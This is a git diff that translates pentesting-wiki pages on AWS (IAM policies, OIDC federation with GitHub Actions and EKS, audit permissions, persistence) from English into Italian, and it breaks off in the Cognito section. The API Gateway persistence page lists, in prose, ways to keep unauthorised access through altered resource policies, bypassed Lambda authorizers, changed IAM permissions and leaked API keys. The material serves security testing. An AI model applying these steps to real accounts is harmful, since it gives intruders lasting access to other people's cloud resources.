- "Statement": [ //Main element, there can be more than 1 entry in this array
- {
- "Sid": "Stmt32894y234276923" //Unique identifier (optional)
- "Effect": "Allow", //Allow or deny
- "Action": [ //Actions that will be allowed or denied
- "ec2:AttachVolume",
- "ec2:DetachVolume"
- ],
- "Resource": [ //Resource the action and effect will be applied to
- "arn:aws:ec2:*:*:volume/*",
- "arn:aws:ec2:*:*:instance/*"
- ],
- "Condition": { //Optional element that allow to control when the permission will be effective
- "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
- }
- }
- ]
+"Version": "2012-10-17", //Version of the policy
+"Statement": [ //Main element, there can be more than 1 entry in this array
+{
+"Sid": "Stmt32894y234276923" //Unique identifier (optional)
+"Effect": "Allow", //Allow or deny
+"Action": [ //Actions that will be allowed or denied
+"ec2:AttachVolume",
+"ec2:DetachVolume"
+],
+"Resource": [ //Resource the action and effect will be applied to
+"arn:aws:ec2:*:*:volume/*",
+"arn:aws:ec2:*:*:instance/*"
+],
+"Condition": { //Optional element that allow to control when the permission will be effective
+"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
+}
+}
+]
}
```
-
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### Inline Policies
-This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
-Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
+Questo tipo di policies è **assegnato direttamente** a un utente, gruppo o ruolo. Quindi, non appaiono nell'elenco delle Policies poiché nessun altro può usarle.\
+Le inline policies sono utili se si desidera **mantenere una relazione rigorosa uno a uno tra una policy e l'identità** a cui è applicata. Ad esempio, si vuole essere certi che i permessi in una policy non siano assegnati inavvertitamente a un'identità diversa da quella per cui sono destinati. Quando si utilizza un'inline policy, i permessi nella policy non possono essere attaccati inavvertitamente all'identità sbagliata. Inoltre, quando si utilizza la AWS Management Console per eliminare quell'identità, le policies incorporate nell'identità vengono eliminate anch'esse. Questo perché fanno parte dell'entità principale.
#### Resource Bucket Policies
-These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
+Queste sono **policies** che possono essere definite in **resources**. **Non tutte le risorse di AWS le supportano**.
-If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
+Se un principale non ha un diniego esplicito su di esse, e una policy di risorsa concede loro accesso, allora sono autorizzati.
### IAM Boundaries
-IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
+Le IAM boundaries possono essere utilizzate per **limitare i permessi a cui un utente o ruolo dovrebbe avere accesso**. In questo modo, anche se un diverso insieme di permessi viene concesso all'utente da una **diversa policy**, l'operazione **fallirà** se tenta di usarli.
-A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
+Una boundary è semplicemente una policy allegata a un utente che **indica il livello massimo di permessi che l'utente o ruolo può avere**. Quindi, **anche se l'utente ha accesso da Administrator**, se la boundary indica che può solo leggere i bucket S·, quello è il massimo che può fare.
-**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
+**Questo**, **SCPs** e **seguire il principio del minimo privilegio** sono i modi per controllare che gli utenti non abbiano più permessi di quelli di cui hanno bisogno.
### Session Policies
-A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
-
-This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
+Una session policy è una **policy impostata quando un ruolo viene assunto** in qualche modo. Questo sarà come un **IAM boundary per quella sessione**: Questo significa che la session policy non concede permessi ma **li restringe a quelli indicati nella policy** (essendo i permessi massimi quelli che il ruolo ha).
+Questo è utile per **misure di sicurezza**: Quando un admin sta per assumere un ruolo molto privilegiato, potrebbe restringere il permesso solo a quelli indicati nella session policy nel caso in cui la sessione venga compromessa.
```bash
aws sts assume-role \
- --role-arn \
- --role-session-name \
- [--policy-arns ]
- [--policy ]
+--role-arn \
+--role-session-name \
+[--policy-arns ]
+[--policy ]
```
+Nota che per impostazione predefinita **AWS potrebbe aggiungere politiche di sessione alle sessioni** che verranno generate a causa di motivi terzi. Ad esempio, in [ruoli assunti da cognito non autenticati](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) per impostazione predefinita (utilizzando l'autenticazione avanzata), AWS genererà **credenziali di sessione con una politica di sessione** che limita i servizi a cui la sessione può accedere [**alla seguente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Pertanto, se a un certo punto ti trovi di fronte all'errore "... perché nessuna politica di sessione consente il ...", e il ruolo ha accesso per eseguire l'azione, è perché **c'è una politica di sessione che lo impedisce**.
-Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
+### Federazione dell'Identità
-### Identity Federation
+La federazione dell'identità **consente agli utenti di fornitori di identità che sono esterni** ad AWS di accedere alle risorse AWS in modo sicuro senza dover fornire le credenziali di un utente AWS da un account IAM valido.\
+Un esempio di fornitore di identità può essere il tuo **Microsoft Active Directory** aziendale (tramite **SAML**) o i servizi **OpenID** (come **Google**). L'accesso federato consentirà quindi agli utenti al suo interno di accedere ad AWS.
-Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
-An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
+Per configurare questa fiducia, viene generato un **Fornitore di Identità IAM (SAML o OAuth)** che **fiducia** nella **altra piattaforma**. Poi, almeno un **ruolo IAM è assegnato (fiducioso) al Fornitore di Identità**. Se un utente della piattaforma fidata accede ad AWS, accederà come il ruolo menzionato.
-To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
-
-However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
+Tuttavia, di solito vorrai dare un **ruolo diverso a seconda del gruppo dell'utente** nella piattaforma di terze parti. Quindi, diversi **ruoli IAM possono fidarsi** del Fornitore di Identità di terze parti e la piattaforma di terze parti sarà quella che consentirà agli utenti di assumere un ruolo o l'altro.
-### IAM Identity Center
+### Centro Identità IAM
-AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
+AWS IAM Identity Center (successore di AWS Single Sign-On) espande le capacità di AWS Identity and Access Management (IAM) per fornire un **luogo centrale** che riunisce **l'amministrazione degli utenti e il loro accesso agli account AWS** e alle applicazioni cloud.
-The login domain is going to be something like `.awsapps.com`.
+Il dominio di accesso sarà qualcosa come `.awsapps.com`.
-To login users, there are 3 identity sources that can be used:
+Per accedere agli utenti, ci sono 3 fonti di identità che possono essere utilizzate:
-- Identity Center Directory: Regular AWS users
-- Active Directory: Supports different connectors
-- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
+- Directory del Centro Identità: Utenti AWS regolari
+- Active Directory: Supporta diversi connettori
+- Fornitore di Identità Esterno: Tutti gli utenti e i gruppi provengono da un Fornitore di Identità esterno (IdP)
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
+Nel caso più semplice della directory del Centro Identità, il **Centro Identità avrà un elenco di utenti e gruppi** e sarà in grado di **assegnare politiche** a loro per **qualsiasi degli account** dell'organizzazione.
-In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
+Per dare accesso a un utente/gruppo del Centro Identità a un account, verrà creato un **Fornitore di Identità SAML che fida il Centro Identità**, e verrà creato un **ruolo che fida il Fornitore di Identità con le politiche indicate** nell'account di destinazione.
#### AwsSSOInlinePolicy
-It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
+È possibile **dare permessi tramite politiche inline ai ruoli creati tramite IAM Identity Center**. I ruoli creati negli account che ricevono **politiche inline in AWS Identity Center** avranno questi permessi in una politica inline chiamata **`AwsSSOInlinePolicy`**.
-Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
+Pertanto, anche se vedi 2 ruoli con una politica inline chiamata **`AwsSSOInlinePolicy`**, **non significa che abbia gli stessi permessi**.
-### Cross Account Trusts and Roles
+### Fiducia e Ruoli tra Account
-**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
-It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
+**Un utente** (fiducioso) può creare un Ruolo tra Account con alcune politiche e poi, **consentire a un altro utente** (fidato) di **accedere al suo account** ma solo **avendo l'accesso indicato nelle nuove politiche del ruolo**. Per creare questo, basta creare un nuovo Ruolo e selezionare Ruolo tra Account. I ruoli per Accesso tra Account offrono due opzioni. Fornire accesso tra gli account AWS che possiedi e fornire accesso tra un account che possiedi e un account AWS di terze parti.\
+È consigliato **specificare l'utente che è fidato e non mettere qualcosa di generico** perché altrimenti, altri utenti autenticati come gli utenti federati potranno anche abusare di questa fiducia.
### AWS Simple AD
-Not supported:
+Non supportato:
-- Trust Relations
-- AD Admin Center
-- Full PS API support
-- AD Recycle Bin
-- Group Managed Service Accounts
-- Schema Extensions
-- No Direct access to OS or Instances
+- Relazioni di Fiducia
+- Centro Amministrativo AD
+- Supporto completo per PS API
+- Cestino AD
+- Account di Servizio Gestiti da Gruppo
+- Estensioni di Schema
+- Nessun accesso diretto a OS o Istanza
-#### Web Federation or OpenID Authentication
+#### Federazione Web o Autenticazione OpenID
-The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
+L'app utilizza AssumeRoleWithWebIdentity per creare credenziali temporanee. Tuttavia, questo non concede accesso alla console AWS, solo accesso alle risorse all'interno di AWS.
-### Other IAM options
+### Altre opzioni IAM
-- You can **set a password policy setting** options like minimum length and password requirements.
-- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
+- Puoi **impostare un'impostazione della politica delle password** con opzioni come lunghezza minima e requisiti per la password.
+- Puoi **scaricare il "Rapporto Credenziali"** con informazioni sulle credenziali attuali (come il tempo di creazione dell'utente, se la password è abilitata...). Puoi generare un rapporto credenziali fino a una volta ogni **quattro ore**.
-AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
+AWS Identity and Access Management (IAM) fornisce **controllo degli accessi dettagliato** su tutto AWS. Con IAM, puoi specificare **chi può accedere a quali servizi e risorse**, e sotto quali condizioni. Con le politiche IAM, gestisci i permessi per la tua forza lavoro e i sistemi per **garantire permessi minimi**.
-### IAM ID Prefixes
+### Prefissi ID IAM
-In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
+In [**questa pagina**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puoi trovare i **prefissi ID IAM** delle chiavi a seconda della loro natura:
-| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| ABIA | [Token portatore del servizio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Context-specific credential |
-| AGPA | User group |
-| AIDA | IAM user |
-| AIPA | Amazon EC2 instance profile |
-| AKIA | Access key |
-| ANPA | Managed policy |
-| ANVA | Version in a managed policy |
-| APKA | Public key |
-| AROA | Role |
-| ASCA | Certificate |
-| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
+| ACCA | Credenziale specifica del contesto |
+| AGPA | Gruppo utente |
+| AIDA | Utente IAM |
+| AIPA | Profilo istanza Amazon EC2 |
+| AKIA | Chiave di accesso |
+| ANPA | Politica gestita |
+| ANVA | Versione in una politica gestita |
+| APKA | Chiave pubblica |
+| AROA | Ruolo |
+| ASCA | Certificato |
+| ASIA | [ID chiave di accesso temporanea (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilizza questo prefisso, ma è unico solo in combinazione con la chiave di accesso segreta e il token di sessione. |
-### Recommended permissions to audit accounts
+### Permessi raccomandati per audit degli account
-The following privileges grant various read access of metadata:
+I seguenti privilegi concedono vari accessi in lettura ai metadati:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -336,14 +324,13 @@ The following privileges grant various read access of metadata:
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
-## Misc
+## Varie
-### CLI Authentication
-
-In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
-In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
-Example of credentials file with more than 1 profile:
+### Autenticazione CLI
+Affinché un utente regolare si autentichi ad AWS tramite CLI, è necessario avere **credenziali locali**. Per impostazione predefinita, puoi configurarle **manualmente** in `~/.aws/credentials` o **eseguendo** `aws configure`.\
+In quel file puoi avere più di un profilo, se **nessun profilo** è specificato utilizzando il **aws cli**, verrà utilizzato quello chiamato **`[default]`** in quel file.\
+Esempio di file delle credenziali con più di 1 profilo:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -354,12 +341,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
+Se hai bisogno di accedere a **diversi account AWS** e il tuo profilo ha ricevuto accesso per **assumere un ruolo all'interno di quegli account**, non è necessario chiamare manualmente STS ogni volta (`aws sts assume-role --role-arn --role-session-name sessname`) e configurare le credenziali.
-If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials.
-
-You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
-A config file example:
-
+Puoi utilizzare il file `~/.aws/config` per [**indicare quali ruoli assumere**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), e poi usare il parametro `--profile` come al solito (l'`assume-role` verrà eseguito in modo trasparente per l'utente).\
+Un esempio di file di configurazione:
```
[profile acc2]
region=eu-west-2
@@ -368,23 +353,16 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-
-With this config file you can then use aws cli like:
-
+Con questo file di configurazione puoi quindi utilizzare aws cli come:
```
aws --profile acc2 ...
```
+Se stai cercando qualcosa di **simile** a questo ma per il **browser**, puoi controllare l'**estensione** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
-If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
-
-## References
+## Riferimenti
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 73ae6b448..2284320ef 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -1,87 +1,84 @@
-# AWS - Federation Abuse
+# AWS - Abuso di Federazione
{{#include ../../../banners/hacktricks-training.md}}
## SAML
-For info about SAML please check:
+Per informazioni su SAML, controlla:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
+Per configurare una **Federazione di Identità tramite SAML**, è sufficiente fornire un **nome** e il **metadata XML** contenente tutta la configurazione SAML (**endpoint**, **certificato** con chiave pubblica)
-## OIDC - Github Actions Abuse
+## OIDC - Abuso di Github Actions
-In order to add a github action as Identity provider:
-
-1. For _Provider type_, select **OpenID Connect**.
-2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
-3. Click on _Get thumbprint_ to get the thumbprint of the provider
-4. For _Audience_, enter `sts.amazonaws.com`
-5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- - ```json
- {
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "token.actions.githubusercontent.com:sub": [
- "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
- "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
- ],
- "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
- }
- ```
-6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
-7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
-8. Finally use a github action to configure the AWS creds to be used by the workflow:
+Per aggiungere un'azione github come fornitore di identità:
+1. Per _Tipo di fornitore_, seleziona **OpenID Connect**.
+2. Per _URL del fornitore_, inserisci `https://token.actions.githubusercontent.com`
+3. Clicca su _Ottieni impronta digitale_ per ottenere l'impronta digitale del fornitore
+4. Per _Pubblico_, inserisci `sts.amazonaws.com`
+5. Crea un **nuovo ruolo** con le **permissive** di cui l'azione github ha bisogno e una **politica di fiducia** che fidi del fornitore come:
+- ```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:sub": [
+"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
+"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
+],
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
+}
+```
+6. Nota nella politica precedente come solo un **branch** del **repository** di un'**organizzazione** è stato autorizzato con un **trigger** specifico.
+7. L'**ARN** del **ruolo** che l'azione github potrà **impersonare** sarà il "segreto" che l'azione github deve conoscere, quindi **conservalo** all'interno di un **segreto** in un **ambiente**.
+8. Infine, utilizza un'azione github per configurare le credenziali AWS da utilizzare nel workflow:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
- pull_request:
- branches:
- - main
+pull_request:
+branches:
+- main
# Required to get the ID Token that will be used for OIDC
permissions:
- id-token: write
- contents: read # needed for private repos to checkout
+id-token: write
+contents: read # needed for private repos to checkout
jobs:
- aws:
- runs-on: ubuntu-latest
- steps:
- - name: Checkout
- uses: actions/checkout@v3
+aws:
+runs-on: ubuntu-latest
+steps:
+- name: Checkout
+uses: actions/checkout@v3
- - name: Configure AWS Credentials
- uses: aws-actions/configure-aws-credentials@v1
- with:
- aws-region: eu-west-1
- role-to-assume:${{ secrets.READ_ROLE }}
- role-session-name: OIDCSession
+- name: Configure AWS Credentials
+uses: aws-actions/configure-aws-credentials@v1
+with:
+aws-region: eu-west-1
+role-to-assume:${{ secrets.READ_ROLE }}
+role-session-name: OIDCSession
- - run: aws sts get-caller-identity
- shell: bash
+- run: aws sts get-caller-identity
+shell: bash
```
-
## OIDC - EKS Abuse
-
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
-
-It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
-
+È possibile generare **OIDC providers** in un **EKS** cluster semplicemente impostando l'**OIDC URL** del cluster come un **nuovo provider di identità Open ID**. Questa è una politica predefinita comune:
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
+}
+}
+}
+]
}
```
+Questa policy indica correttamente che **solo** il **cluster EKS** con **id** `20C159CDF6F2349B68846BEC03BE031B` può assumere il ruolo. Tuttavia, non indica quale account di servizio può assumerlo, il che significa che **QUALSIASI account di servizio con un token di identità web** sarà **in grado di assumere** il ruolo.
-This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
-
-In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
-
+Per specificare **quale account di servizio dovrebbe essere in grado di assumere il ruolo,** è necessario specificare una **condizione** in cui è **specificato il nome dell'account di servizio**, come:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
-
-## References
+## Riferimenti
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 28868b9f1..999cc3ff9 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -1,21 +1,17 @@
-# AWS - Permissions for a Pentest
+# AWS - Permessi per un Pentest
{{#include ../../banners/hacktricks-training.md}}
-These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
+Questi sono i permessi di cui hai bisogno su ogni account AWS che desideri auditare per poter eseguire tutti gli strumenti di audit AWS proposti:
-- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
-- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- - **access-analyzer:List\***
- - **access-analyzer:Get\***
- - **iam:CreateServiceLinkedRole**
- - **access-analyzer:CreateAnalyzer**
- - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- - **access-analyzer:DeleteAnalyzer**
- - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
+- La policy predefinita **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
+- Per eseguire [aws_iam_review](https://github.com/carlospolop/aws_iam_review) hai anche bisogno dei permessi:
+- **access-analyzer:List\***
+- **access-analyzer:Get\***
+- **iam:CreateServiceLinkedRole**
+- **access-analyzer:CreateAnalyzer**
+- Opzionale se il cliente genera gli analizzatori per te, ma di solito è più facile semplicemente chiedere questo permesso)
+- **access-analyzer:DeleteAnalyzer**
+- Opzionale se il cliente rimuove gli analizzatori per te, ma di solito è più facile semplicemente chiedere questo permesso)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md
index f3b45c4d3..fb98269a4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md
@@ -1,6 +1 @@
-# AWS - Persistence
-
-
-
-
-
+# AWS - Persistenza
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 6d2b0ec35..29530ea96 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -1,36 +1,32 @@
-# AWS - API Gateway Persistence
+# AWS - Persistenza API Gateway
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
-For more information go to:
+Per ulteriori informazioni vai a:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Resource Policy
+### Politica delle Risorse
-Modify the resource policy of the API gateway(s) to grant yourself access to them
+Modifica la politica delle risorse del/i gateway API per concederti accesso ad essi.
-### Modify Lambda Authorizers
+### Modifica degli Autorizzatori Lambda
-Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
-Or just remove the use of the authorizer.
+Modifica il codice degli autorizzatori lambda per concederti accesso a tutti gli endpoint.\
+Oppure rimuovi semplicemente l'uso dell'autorizzatore.
-### IAM Permissions
+### Permessi IAM
-If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
-Or just remove the use of the authorizer.
+Se una risorsa utilizza un autorizzatore IAM, potresti concederti accesso modificando i permessi IAM.\
+Oppure rimuovi semplicemente l'uso dell'autorizzatore.
-### API Keys
+### Chiavi API
-If API keys are used, you could leak them to maintain persistence or even create new ones.\
-Or just remove the use of API keys.
+Se vengono utilizzate chiavi API, potresti leakarle per mantenere la persistenza o persino crearne di nuove.\
+Oppure rimuovi semplicemente l'uso delle chiavi API.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index e2e037e53..d1170ece5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -4,24 +4,24 @@
## Cognito
-For more information, access:
+Per ulteriori informazioni, accedi a:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
-### User persistence
+### Persistenza dell'utente
-Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
